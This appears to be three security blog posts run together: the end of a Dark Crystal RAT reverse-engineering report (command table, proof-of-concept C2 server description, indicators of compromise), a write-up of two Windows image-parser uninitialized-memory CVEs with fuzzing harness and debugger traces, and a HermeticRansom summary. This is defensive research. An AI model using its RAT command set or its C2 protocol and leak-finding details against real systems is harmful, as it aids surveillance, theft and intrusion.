<message_type> Type of File jpg Screenshot zipstealerlog Cookie stealer log wav Microphone recording file Uploaded file bmp Webcam image RD.jpg Remote control screenshot Table 2: Message types when files are uploaded to the server Capabilities By analyzing the code that handles the responses to the comm message (format 2), it was possible for us to inventory the malware’s capabilities.
Table 3 shows the keywords used in responses along with the description of each capability.
Keyword Description shell Execute a shell command deleteall Recursively delete all files from C:, D:, F:, and G: closecd Close the CD-ROM drive door setwallpaper Change the background wallpaper ddos Send TCP and UDP packets to a given host or IP address logoff Log off the current user keyboardrecorder Replay keystrokes as if the user had typed them fm_newfolder Create a new folder fm_rename Rename or move a file desktopHide Hide desktop icons keyloggerstart Start logging keystrokes exec_cs_code Compile and execute C# code msgbox Open a Windows MessageBox fm_upload Transfer a file from the C2 to the client rdp Re-spawn the malware running as an administrator fm_zip
Build a ZIP file from a directory tree and transfer it from the client to the C2 webcam Take a webcam picture fm_unzip
Unzip a ZIP file to a given path on the client keyloggerstop Stop logging keystrokes fm_drives Enumerate drive letters cookiestealer Transfer cookies and browser/FileZilla saved credentials to the C2 fm_delete Recursively delete a given directory dismon Hide desktop icons and taskbar fm_uploadu Transfer a file from the C2 to the client taskstart Start a process cleardesktop Rotate screen lcmd Run shell command and send standard output back to C2 taskbarShow Show taskbar clipboard Set clipboard contents cookiestealer_file
Save cookies and credentials to a local file newuserpass Create a new local user account beep Beep for set frequency and duration speak Use speech synthesizer to speak text openchat
Open chat window taskbarHide
Hide the taskbar RDStart Start remote control over user’s desktop closechat
Close chat window RDStop Stop remote control over user’s desktop fm_opendir List directory contents uninstall Remove the malware from the client taskkill Kill a process forkbomb Endlessly spawn instances of cmd.exe fm_get Transfer a file from the client to the C2 desktopShow
Show desktop icons Clipboardget Transfer clipboard contents to C2 playaudiourl
Play a sound file opencd Open the CD-ROM drive door shutdown Shut down the machine restart Restart the machine browseurl Open a web URL in the default browser Table 3: Capabilities of DCRat Proof-of-Concept Dark Crystal RAT Server
After gathering information from Dark Crystal RAT about its capabilities and C2 message format, another way to illustrate the capabilities and test our understanding of the messages was to write a proof-of-concept server.
Here is a code snippet that we wrote containing a barebones DCRat server written in Python .
Unlike a real RAT server, this one does not have a user interface to allow the attacker to pick and launch commands.
Instead, it has a pre-scripted command list that it sends to the RAT.
When the server starts up, it uses the Python BaseHTTPServer to begin listening for incoming web requests (lines 166-174).
Incoming POST requests are assumed to hold a file that the RAT is uploading to the server; this server assumes all file uploads are screenshots and saves them to “screen.png” (lines 140-155).
For GET requests, the server must distinguish between beacons, ordinary messages, and special messages (lines 123-138).
For ordinary messages, __ds_setdata messages are simply printed to standard output, while the only __ds_getdata message type supported is s_comm (screenshot communications), to which the server responds with the desired screenshot dimensions (lines 63-84).
For messages of type comm, the server sends four types of commands in sequence: first, it hides the desktop icons; then, it causes the string “Hello this is tech support” to be spoken; next, it displays a message box asking for a password; finally, it launches the Windows Calculator (lines 86-121).
Figure 16 shows the results when Dark Crystal RAT is run on a system that has been configured to redirect all traffic to domalo[.
]online to the proof-of-concept server we wrote.
Figure 16:
The results when a Dark Crystal RAT instance communicates with the proof-of-concept server Other Work and Reconnaissance After reverse engineering Dark Crystal RAT, we continued reconnaissance to see what additional information we could find.
One limitation to our analysis was that we did not wish to allow the sample to communicate with the real C2, so we kept it isolated from the Internet.
To learn more about Dark Crystal RAT we tried two approaches: the first was to browse the Dark Crystal RAT website (files.dcrat[.
]ru) using Tor, and the other was to take a look at YouTube videos of others’ experiments with the “real” Dark Crystal RAT server.
Dark Crystal RAT Website We found that Dark Crystal RAT has a website at files.dcrat[.
]ru, shown in Figure 17.
Observe that there are options to download the RAT itself, as well as a few plugins; the DCLIB extension is consistent with the plugin loading code we found in the RAT.
Figure 17:
The website files.dcrat[.
]ru allows users to download Dark Crystal RAT and some of its plugins Figure 18 shows some additional plugins, including plugins with the ability to resist running in a virtual machine, disable Windows Defender, and disable webcam lights on certain models.
No plugins were bundled with the sample we studied.
Figure 18: Additional plugins listed on the Dark Crystal RAT website Figure 19 lists software downloads on the RAT page.
We took some time to look at these files; here are some interesting things we discovered: The DCRat listed on the website is actually a “builder” that packages a build of the RAT and a configuration for the attacker to deploy.
This is consistent with the name DCRatBuild.exe shown back in Figure 4.
In our brief testing of the builder, we found that it had a licensing check.
We did not pursue bypassing it once we found public YouTube videos of the DCRat builder in operation, as we show later.
The DarkCrystalServer is not self-contained, rather, it is just a PHP file that allows the user to supply a username and password, which causes it to download and install the server software.
Due to the need to supply credentials and communicate back with dcrat[.
]ru (Figure 20), we did not pursue further analysis of DarkCrystalServer.
Figure 19:
The RAT page lists software for the RAT, the server, an API, and plugin development Figure 20:
The DarkCrystalServer asks for a username and password and calls back to dcrat[.
]ru to download software, so we did not pursue it further YouTube Videos
As part of confirming our findings about Dark Crystal RAT capabilities that we obtained through reverse engineering, we found some YouTube demonstrations of the DCRat builder and server.
The YouTube user LIKAR has a YouTube demonstration of Dark Crystal RAT .
The author demonstrates use of the Dark Crystal RAT software on a server with two active RAT instances.
During the video, the author browses through the various screens in the software.
This made it easy to envision how a cyber threat would use the RAT, and to confirm our suspicions of how it works.
Figure 21 shows a capture from the video at 3:27 .
Note that the Dark Crystal RAT builder software refers to the DCRatBuild package as a “server” rather than a client.
Nonetheless, observe that one of the options was a type of Java, or C# (Beta).
By watching this YouTube video and doing some additional background research, we discovered that Dark Crystal RAT has existed for some time in a Java version.
The C# version is relatively new.
This explained why we could not find much detailed prior reporting about it.
Figure 21:
A YouTube demonstration revealed that Dark Crystal RAT previously existed in a Java version, and the C# version we analyzed is in beta Figure 22 shows another capture from the video at 6:28.
The functionality displayed on the screen lines up nicely with the “msgbox”, “browseurl”, “clipboard”, “speak”, “opencd”, “closecd”, and other capabilities we discovered and enumerated in Table 6.
Figure 22:
A YouTube demonstration confirmed many of the Dark Crystal RAT capabilities we found in reverse engineering Conclusion In this post we walked through our analysis of the sample that the threat intel team provided to us and all its components.
Through our initial triage, we found that its “dfsds.exe” component is Dark Crystal RAT.
We found that Dark Crystal RAT was a .NET executable, and reverse engineered it.
We extracted the malware’s configuration, and through dynamic analysis discovered the syntax of its C2 communications.
We implemented a small proof-of-concept server to test the correct format of commands that can be sent to the malware, and how to interpret its uploaded screenshots.
Finally, we took a second look at how actual threat actors would download and use Dark Crystal RAT.
To conclude, indicators of compromise for this version of Dark Crystal RAT (MD5: 047af34af65efd5c6ee38eb7ad100a01) are given in Table 4.
Indicators of Compromise Dark Crystal RAT (dfsds.exe) Handle artifacts Mutex name bc2dc004028c4f0303f5e49984983352 Registry artifacts Registry value HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\scrss
Registry value HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Wininit File system artifacts File C:\\Sysdll32.lnk File %APPDATA%\\dotNET.lnk File Start Menu\\Programs\\Startup\\Sysdll32.lnk File Start Menu\\Programs\\Startup\\dotNET.lnk File %APPDATA%\\<random process name>.exe
File C:\\<random process name>.exe Network artifacts HTTP request hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/212bad81b4208a2b412dfca05f1d9fa7.php?data=active HTTP request hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/akcii239myzon0xwjlxqnn3b34w212bad81b4208a2b412dfca05f1d9f a7.php?
type=__ds_getdata&__ds_getdata_user=<user_hash>&__ds_getdata_ex t=<message_hash>&__ds_getdata_key=<key> HTTP request hxxp://domalo[.
]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp 1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/
akcii239myzon0xw jlxqnn3b34w/<user_hash>.<message_hash>
TCP connection domalo[.
]online:80 TCP connection ipinfo[.
]ip DNS lookup domalo[.
]online DNS lookup ipinfo[.
]ip Strings Static string DCRatBuild Table 4:
IoCs for this instance of DCRat FireEye Product Support for Dark Crystal RAT Table 5 describes how FireEye products react to the initial sample (MD5: b478d340a787b85e086cc951d0696cb1) and its Dark Crystal RAT payload, or in the case of Mandiant Security Validation, allow a stakeholder to validate their own capability to detect Dark Crystal RAT.
FireEye Product Support for Dark Crystal RAT FireEye Network Security (NX) Backdoor.
Plurox detection FireEye Email Security (EX & ETP) Backdoor.
MSIL.DarkCrystal, Backdoor.
Plurox, Malware.
Binary.exe, Trojan.
Vasal.
FEC3, Win.
Ransomware.
Cerber-6267996-1, fe_ml_heuristic detections FireEye Endpoint Security (HX) Trojan.
GenericKD.32546165, Backdoor.
MSIL.DarkCrystal detections FireEye Malware Analysis (AX) Backdoor.
Plurox.
FEC2 detection FireEye Detection on Demand (DoD) Backdoor.
Plurox.
FEC2, FireEye.
Malware detections Mandiant Security Validation Built-in Action coming soon Table 5: Support in FireEye products to detect Dark Crystal RAT or validate detection capability Subscribe to Blogs Get email updates as new blog posts are added.
Continuing our discussion of image parsing vulnerabilities in Windows , we take a look at a comparatively less popular vulnerability class: uninitialized memory.
In this post, we will look at Windows’ inbuilt image parsers—specifically for vulnerabilities involving the use of uninitialized memory.
The Vulnerability: Uninitialized Memory In unmanaged languages, such as C or C++, variables are not initialized by default.
Using uninitialized variables causes undefined behavior and may cause a crash.
There are roughly two variants of uninitialized memory: Direct uninitialized memory usage: An uninitialized pointer or an index is used in read or write.
This may cause a crash.
Information leakage (info leak) through usage of uninitialized memory: Uninitialized memory content is accessible across a security boundary.
An example: an uninitialized kernel buffer accessible from user mode, leading to information disclosure.
In this post we will be looking closely at the second variant in Windows image parsers, which will lead to information disclosure in situations such as web browsers where an attacker can read the decoded image back using JavaScript.
Detecting Uninitialized Memory Vulnerabilities Compared to memory corruption vulnerabilities such as heap overflow and use-after-free, uninitialized memory vulnerabilities on their own do not access memory out of bound or out of scope.
This makes detection of these vulnerabilities slightly more complicated than memory corruption vulnerabilities.
While direct uninitialized memory usage can cause a crash and can be detected, information leakage doesn’t usually cause any crashes.
Detecting it requires compiler instrumentations such as MemorySanitizer or binary instrumentation/recompilation tools such as Valgrind.
Detour: Detecting Uninitialized Memory in Linux Let's take a little detour and look at detecting uninitialized memory in Linux and compare with Windows’ built-in capabilities.
Even though compilers warn about some uninitialized variables, most of the complicated cases of uninitialized memory usage are not detected at compile time.
For this, we can use a run-time detection mechanism.
MemorySanitizer is a compiler instrumentation for both GCC and Clang, which detects uninitialized memory reads.
A sample of how it works is given in Figure 1.
$ cat sample.cc #include <stdio.h> int main() { int *arr = new int[10]; if(arr[3] == 0) { printf(\"Yay!\\n\"); } printf(\"%08x\\n\", arr[3]); return 0; } $ clang++ -fsanitize=memory -fno-omit-frame-pointer -g sample.cc $ ./a.out ==
29745==WARNING: MemorySanitizer: use-of-uninitialized-value #0 0x496db8  (/home/dan/uni/a.out+0x496db8)
#1 0x7f463c5f1bf6  (/lib/
x86_64-linux-gnu/libc.so.6+0x21bf6) #2 0x41ad69  (/home/dan/uni/a.out+0x41ad69)
SUMMARY:
MemorySanitizer: use-of-uninitialized-value (/home/dan/uni/a.out+0x496db8)
Exiting Figure 1: MemorySanitizer detection of uninitialized memory Similarly, Valgrind can also be used to detect uninitialized memory during run-time.
Detecting Uninitialized Memory in Windows Compared to Linux, Windows lacks any built-in mechanism for detecting uninitialized memory usage.
While Visual Studio and Clang-cl recently introduced AddressSanitizer support , MemorySanitizer and other sanitizers are not implemented as of this writing.
Some of the useful tools in Windows to detect memory corruption vulnerabilities such as PageHeap do not help in detecting uninitialized memory.
On the contrary, PageHeap fills the memory allocations with patterns, which essentially makes them initialized.
There are few third-party tools, including Dr.Memory, that use binary instrumentation to detect memory safety issues such as heap overflows, uninitialized memory usages, use-after-frees, and others.
Detecting Uninitialized Memory in Image Decoding Detecting uninitialized memory in Windows usually requires binary instrumentation, especially when we do not have access to source code.
One of the indicators we can use to detect uninitialized memory usage, specifically in the case of image decoding, is the resulting pixels after the image is decoded.
When an image is decoded, it results in a set of raw pixels.
If image decoding uses any uninitialized memory, some or all of the pixels may end up as random.
In simpler words, decoding an image multiple times may result in different output each time if uninitialized memory is used.
This difference of output can be used to detect uninitialized memory and aid writing a fuzzing harness targeting Windows image decoders.
An example fuzzing harness is presented in Figure 2.
#define ROUNDS 20 unsigned char* DecodeImage(char *imagePath) { unsigned char *pixels = NULL; // use GDI or WIC to decode image and get the resulting pixels ... ... return pixels; } void Fuzz(char *imagePath) { unsigned char *refPixels = DecodeImage(imagePath); if(refPixels !
= NULL) { for(int i = 0; i < ROUNDS; i++) { unsigned char *currPixels = DecodeImage(imagePath); if(!ComparePixels(refPixels, currPixels))
{ // the reference pixels and current pixels don't match // crash now to let the fuzzer know of this file CrashProgram(); } free(currPixels); } free(refPixels); } } Figure 2:
Diff harness The idea behind this fuzzing harness is not entirely new; previously, lcamtuf used a similar idea to detect uninitialized memory in open-source image parsers and used a web page to display the pixel differences.
Fuzzing With the diffing harness ready, one can proceed to look for the supported image formats and gather corpuses.
Gathering image files for corpus is considerably easy given the near unlimited availability on the internet, but at the same time it is harder to find good corpuses among millions of files with unique code coverage.
Code coverage information for Windows image parsing is tracked from WindowsCodecs.dll.
Note that unlike regular Windows fuzzing, we will not be enabling PageHeap this time as PageHeap “initializes” the heap allocations with patterns.
Results
During my research, I found three cases of uninitialized memory usage while fuzzing Windows built-in image parsers.
Two of them are explained in detail in the next sections.
Root cause analysis of uninitialized memory usage is non-trivial.
We don’t have a crash location to back trace, and have to use the resulting pixel buffer to back trace to find the root cause—or use clever tricks to find the deviation.
CVE-2020-0853 Let’s look at the rendering of the proof of concept (PoC) file before going into the root cause of this vulnerability.
For this we will use lcamtuf’s HTML, which loads the PoC image multiple times and compares the pixels with reference pixels.
Figure 3: CVE-2020-0853 As we can see from the resulting images (Figure 3), the output varies drastically in each decoding and we can assume this PoC leaks a lot of uninitialized memory.
To identify the root cause of these vulnerabilities, I used Time Travel Debugging (TTD) extensively.
Tracing back the execution and keeping track of the memory address is a tedious task, but TTD makes it only slightly less painful by keeping the addresses and values constant and providing unlimited forward and backward executions.
After spending quite a bit of time debugging the trace, I found the source of uninitialized memory in windowscodecs!CFormatConverter::Initialize .
Even though the source was found, it was not initially clear why this memory ends up in the calculation of pixels without getting overwritten at all.
To solve this mystery, additional debugging was done by comparing PoC execution trace against a normal TIFF file decoding.
The following section shows the allocation, copying of uninitialized value to pixel calculation and the actual root cause of the vulnerability.
Allocation and Use of Uninitialized Memory windowscodecs!CFormatConverter::Initialize allocates 0x40 bytes of memory, as shown in Figure 4.
0:000
>
r rax=0000000000000000 rbx=0000000000000040 rcx=0000000000000040 rdx=0000000000000008 rsi=000002257a3db448 rdi=0000000000000000 rip=00007ffaf047a238 rsp=000000ad23f6f7c0 rbp=000000ad23f6f841 r8=000000ad23f6f890  r9=0000000000000010 r10=000002257a3db468 r11=000000ad23f6f940 r12=000000000000000e r13=000002257a3db040 r14=000002257a3dbf60 r15=0000000000000000 iopl=0
nv up ei pl zr
na po nc cs=0033  ss=002b
ds=002b
es=002b
fs=0053  gs=002b
efl=00000246 windowscodecs!CFormatConverter::Initialize+0x1c8: 00007ffa`f047a238 ff15ea081200    call    qword ptr [windowscodecs!_imp_malloc (00007ffa`f059ab28)]
ds:00007ffa`f059ab28={msvcrt!malloc (00007ffa`f70e9d30)} 0:000
> k # Child-SP
RetAddr               Call Site 00
000000ad`23f6f7c0 00007ffa`f047c5fb
windowscodecs!CFormatConverter::Initialize+0x1c8 01 000000ad`23f6f890 00007ffa`f047c2f3     windowscodecs!CFormatConverter::Initialize+0x12b 02 000000ad`23f6f980 00007ff6`34ca6dff     windowscodecs!CFormatConverterResolver::Initialize+0x273 //
Uninitialized memory after allocation : 0:000
> db @rax 00000225`7a3dbf70  d0 b0 3d 7a 25 02 00 00-60 24 3d 7a 25 02 00 00  ..
=
z%...`$=z%...
00000225`7a3dbf80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbf90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbfa0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbfb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbfc0  00 00 00 00 00 00 00 00-64 51 7c 26 c3 2c 01 03  ........dQ|&.,
.. 00000225`7a3dbfd0  f0 00 2f 6b 25 02 00 00-f0 00 2f 6b 25 02 00 00  ../k%...../k%...
00000225`7a3dbfe0  60 00 3d 7a 25 02 00 00-60 00 3d 7a 25 02 00 00  `.=z%...
`.=z%...
Figure 4: Allocation of memory The memory never gets written and the uninitialized values are inverted in windowscodecs!CLibTiffDecoderBase::HrProcessCopy and further processed in windowscodecs!GammaConvert_16bppGrayInt_128bppRGBA and in later called scaling functions.
As there is no read or write into uninitialized memory before HrProcessCopy, I traced the execution back from HrProcessCopy and compared the execution traces with a normal tiff decoding trace.
A difference was found in the way windowscodecs!CLibTiffDecoderBase::UnpackLine behaved with the PoC file compared to a normal TIFF file, and one of the function parameters in UnpackLine was a pointer to the uninitialized buffer.
The UnpackLine function has a series of switch-case statements working with bits per sample (BPS) of TIFF images.
In our PoC TIFF file, the BPS value is 0x09—which is not supported by UnpackLine —and the control flow never reaches a code path that writes to the buffer.
This is the root cause of the uninitialized memory, which gets processed further down the pipeline and finally shown as pixel data.
Patch After presenting my analysis to Microsoft, they decided to patch the vulnerability by making the files with unsupported BPS values as invalid.
This avoids all decoding and rejects the file in the very early phase of its loading.
CVE-2020-1397 Figure 5: Rendering of CVE-2020-1397
Unlike the previous vulnerability, the difference in the output is quite limited in this one, as seen in Figure 5.
One of the simpler root cause analysis techniques that can be used to figure out a specific type of uninitialized memory usage is comparing execution traces of runs that produce two different outputs.
This specific technique can be helpful when an uninitialized variable causes a control flow change in the program and that causes a difference in the outputs.
For this, a binary instrumentation script was written, which logged all the instructions executed along with its registers and accessed memory values.
Diffing two distinct execution traces by comparing the instruction pointer (RIP) value, I found a control flow change in windowscodecs!CCCITT::Expand2DLine due to a usage of an uninitialized value.
Back tracing the uninitialized value using TTD trace was exceptionally useful for finding the root cause.
The following section shows the allocation, population and use of the uninitialized value, which leads to the control flow change and deviance in the pixel outputs.
Allocation windowscodecs!TIFFReadBufferSetup allocates 0x400 bytes of memory, as shown in Figure 6.
windowscodecs!TIFFReadBufferSetup: ...
allocBuff = malloc(size); *(v3 + 16) |= 0x200u; *(v3 + 480) =
allocBuff
; 0:000
>
k # Child-SP          RetAddr           Call Site 00 000000aa`a654f128
00007ff9`4404d4f3 windowscodecs!TIFFReadBufferSetup 01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0xab 02
000000aa`a654f170 00007ff9`4404d2dc
windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aa`a654f1b0 00007ff9`440396dd
windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06
000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aa`a654f3d0 00007ff9`44043c95
windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5 After allocation: 0:000
> !
heap -p
-a @rax address 0000029744382140 found in _HEAP @ 29735190000 HEAP_ENTRY
Size Prev Flags            UserPtr UserSize - state 0000029744382130 0041
0000  [00]   0000029744382140    00400 - (busy) unknown!noop // Uninitialized memory after allocation 0:000> db @rax 00000297`44382140  40 7c 5e 97 29 5d 5f ae-73 31 98 70 b8 4f da ac  @|^.
)]_.s1.p.
O..
00000297`44382150  06 51
54 18 2e 2a 23 3a-4f
ab 14 27 e9 c6 2c 83  .QT
..
*#:O..'..,.
00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA.
00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....
>.EL...
r.!.
00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.
;
..
D..nK.
@18.
00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...
x....
Maf 00000297`443821a0  16
7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}..
@
..EOy...
T.D 00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...
R....4._o.
Figure 6: Allocation of memory Partially Populating the Buffer 0x10 bytes are copied from the input file to this allocated buffer by TIFFReadRawStrip1.
The rest of the buffer remains uninitialized with random values, as shown in Figure 7.
if ( !TIFFReadBufferSetup(v2, a2, stripCount) ) { return 0i64; } if ( TIFFReadRawStrip1(v2, v3, sizeToReadFromFile, \"TIFFFillStrip\") !
= sizeToReadFromFile ) 0:000
> r rax=0000000000000001 rbx=000002973519a7e0 rcx=000002973519a7e0 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000010 rip=00007ff94404d58c rsp=000000aaa654f128 rbp=0000000000000000 r8=0000000000000010
r9=00007ff94416fc38 r10=0000000000000000 r11=000000aaa654ef60 r12=0000000000000001 r13=0000000000000000 r14=0000029744377de0 r15=0000000000000001 iopl=0         nv up ei pl nz na pe nc cs=0033  ss=002b
ds=002b
es=002b  fs=0053  gs=002b
efl=00000202 windowscodecs!TIFFReadRawStrip1: 00007ff9`4404d58c 488bc4          mov     rax,rsp 0:000
> k # Child-SP          RetAddr           Call Site 00 000000aa`a654f128 00007ff9`4404d491
windowscodecs!TIFFReadRawStrip1 01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0x49 02
000000aa`a654f170 00007ff9`4404d2dc
windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aa`a654f1b0 00007ff9`440396dd
windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06
000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aa`a654f3d0 00007ff9`44043c95
windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aa`a654f4d0 00007ff9`4404563b
windowscodecs!CDecoderFrame::CopyPixels+0xb5 0:000>
db 00000297`44382140 00000297`44382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00
6c
[..U*..o.-..X#.l
// 0x10 bytes from file 00000297`44382150  06 51
54 18 2e 2a 23 3a-4f
ab 14 27 e9 c6 2c 83  .QT
..
*#:O..'..,.
// uninitialized memory 00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA.
00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....
>.EL...
r.!.
00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.
;
..
D..nK.
@18.
00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...
x....
Maf 00000297`443821a0  16
7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}..
@
..EOy...
T.D 00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...
R....4._o.
Figure 7: Partial population of memory Use of Uninitialized Memory 0:000> r rax=0000000000000006 rbx=0000000000000007 rcx=0000000000000200 rdx=0000000000011803 rsi=0000029744382150 rdi=0000000000000000
rip=00007ff94414e837 rsp=000000aaa654f050 rbp=0000000000000001 r8=0000029744382550  r9=0000000000000000 r10=0000000000000008 r11=0000000000000013 r12=00007ff94418b7b0 r13=0000000000000003 r14=0000000023006c00 r15=00007ff94418bbb0 iopl=0
nv up ei pl nz na po nc cs=0033  ss=002b
ds=002b
es=002b
fs=0053  gs=002b
efl=00000206 windowscodecs!CCCITT::Expand2DLine+0x253: 00007ff9`4414e837 0fb606          movzx   eax,byte ptr [rsi] ds:00000297`44382150=06             ;
Uninitialized memory being accessed 0:000> db 00000297`44382140 00000297`44382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00
6c
[..U*..o.-..X#.l
// 0x10 bytes from file 00000297`44382150  06 51
54 18 2e 2a 23 3a-4f
ab 14 27 e9 c6 2c 83  .QT
..
*#:O..'..,.
// uninitialized memory 00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....
<....'.sA.
00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....
>.EL...
r.!.
00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.
;
..
D..nK.
@18.
00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...
x....
Maf 00000297`443821a0  16
7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}..
@
..EOy...
T.D 00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...
R....4._o.
0:000
> k # Child-SP          RetAddr           Call Site 00 000000aa`a654f050 00007ff9`4414df80 windowscodecs!CCCITT::Expand2DLine+0x253 01 000000aa`a654f0d0 00007ff9`4412afcc windowscodecs!CCCITT::CCITT_Expand+0xac 02
000000aa`a654f120 00007ff9`4404d3f0 windowscodecs!CCITTDecode+0x7c 03
000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0xb8 04 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 05 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 06 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 07
000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 08
000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 09 000000aa`a654f3d0 00007ff9`44043c95
windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 0a 000000aa`a654f4d0 00007ff9`4404563b
windowscodecs!CDecoderFrame::CopyPixels+0xb5 Figure 8:
Reading of uninitialized value Depending on the uninitialized value (Figure 8), different code paths are taken in Expand2DLine, which will change the output pixels, as shown in Figure 9.
{ { if ( v11 !=
1 || a2 ) { unintValue = *
++allocBuffer | (unintValue << 8);          // uninit mem read } else { unintValue <<= 8; ++allocBuffer; } --v11; v16 += 8; } v29 = unintValue >
> (v16 - 8); dependentUninitValue
=
*
(l + 2i64 * v29); v16 -=
*(l + 2i64 * v29 + 1); if ( dependentUninitValue >= 0 )
// path 1 break; if ( dependentUninitValue < '\\xC0' ) return 0xFFFFFFFFi64;                     // path 2 } if ( dependentUninitValue <= 0x3F )
// path xx break; Figure 9: Use of uninitialized memory in if conditions Patch Microsoft decided to patch this vulnerability by using calloc instead of malloc , which initializes the allocated memory with zeros.
Conclusion Part Two of this blog series presents multiple vulnerabilities in Windows’ built-in image parsers.
In the next post, we will explore newer supported image formats in Windows such as RAW, HEIF and more.
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Our researchers analyzed the HermeticRansom malware also known as Elections GoRansom.
By and large, this is a fairly simple cryptor.
What is interesting in this case is the purpose for which attackers are using it.
HermeticRansom goals HermeticRansom attacked computers at the same time as another malware known as HermeticWiper, and based on publicly available information from security community, it was used in recent cyberattacks in Ukraine.
According to our experts, the relative simplicity and questionable malware workflow implementation suggests that HermeticRansom was used as a smokescreen for HermeticWiper attacks.
What HermeticRansom is capable of Once infecting the victim’s computer, the malware first identifies hard drives and collects a list of directories and files located everywhere except for the Windows and Program Files folders.
It then encrypts certain categories of files and renames them adding а .encrypted tag and the email address of the ransomware operators.
The malware also creates a read_me.html file in the Desktop folder containing a ransom note with the attackers’ contacts.
The note looks like this: Ransom note left by HermeticRansom malware HermeticRansom encrypts files with following extensions: .inf, .acl, .avi, .bat, .bmp, .cab, .cfg, .chm, .cmd, .com, .crt, .css, .dat, .dip, .dll, .doc, .dot, .exe, .gif, .htm, .ico, .iso, .jpg, .mp3, .msi and odt.
HermeticRansom peculiarities HermeticRansom is written in Golang.
It does not use any obfuscation mechanisms, and the encryption method itself is rather cumbersome and inefficient.
Judging by these and some other signs, our experts think that this malware was created in a hurry.
You can find a more detailed technical analysis of the malware along with indicators of compromise on our Securelist blog.
How to stay safe Kaspersky Lab security solutions successfully detect HermeticRansom malware and similar threats.
We have a range of tools to protect both home computers and corporate infrastructure, including: Kaspersky Internet Security : our multi-platform security solution for home users; Kaspersky Endpoint Security Cloud : our solution for business protection; Kaspersky Anti-Ransomware Tool : our free corporate solution that can work as an additional layer of protection in parallel with products from other vendors.
